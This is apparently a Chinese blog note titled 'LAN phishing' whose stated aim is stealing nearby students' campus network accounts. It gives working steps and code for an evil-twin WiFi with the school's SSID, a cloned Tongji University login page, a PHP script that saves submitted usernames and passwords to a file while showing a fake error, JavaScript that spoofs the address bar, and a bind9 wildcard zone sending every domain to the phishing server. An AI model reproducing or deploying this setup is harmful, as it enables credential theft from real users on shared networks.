局域网钓鱼

简介:盗取附近人校园网帐号

基本想法

  • 利用路由器建立一个与学校校园网 ssid 相同的 wifi
  • 搭建一个 HTTP 服务器, 提供一个钓鱼网站
  • 搭建一个 DNS 服务器, 将所有域名都指向所搭建的 HTTP 服务器的 IP 地址
  • 然后设置路由器 DNS 服务器地址

    HTTP 服务器

    可以利用 LAMP 搭建,具体搭建见另一篇笔记。
    以同济大学校园网登陆界面为例:
  • 首先 wget -p -k URL,下载原网页;
  • 然后观察 html 代码,找到点击登陆按钮的触发;
  • 更该点击登陆的触发事件,例:将 html 网页中 Form 的 action 指向 get.php,get.php 具体内容如下:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    <?php
    echo('server error!!!'); // 骗骗小鱼
    $fp=fopen("a.txt","a"); // 注意文件 a.txt 的权限
    if(!$fp)
    {
    echo "fail";
    }
    $txt = $_POST['UserName1'];
    fwrite($fp, $txt);
    $txt = " ";
    fwrite($fp, $txt);
    $txt = $_POST['PassWord1'];
    fwrite($fp, $txt);
    $txt = "\n";
    fwrite($fp, $txt);
    fclose($fp);
    ?>

修改地址栏的js代码:

1
window.history.pushState('page', 'title', '?UserIPAddress=180.160.21.251&MSCGIP=124.74.56.72&UserLocation=ethtrunk/8:563.320#!practice');

DNS 服务器

ubuntu 下可利用bind9 搭建

1
sudo apt-get install bind9

搭建完后需要更改配置将所有域名指向 HTTP 服务器地址:
bind9的主要配置文件是 /etc/bind/ 下的 name.conf;
该文件包含了其他三个配置文件:named.conf.options、named.conf.local、named.conf.default-zones;
修改 named.conf.local,添加一下内容:

1
2
3
4
zone "." {
type master;
file "/etc/bind/named.fakeroot";
};

新建 named.fakeroot 内容如下:

1
2
3
@ IN SOA ns.domain.com. hostmaster.domain.com. ( 1 3h 1h 1w 1d  )
IN NS x.y.z.a
* IN A 192.168.137.145

192.168.137.145是所搭建的 HTTP 服务器的地址。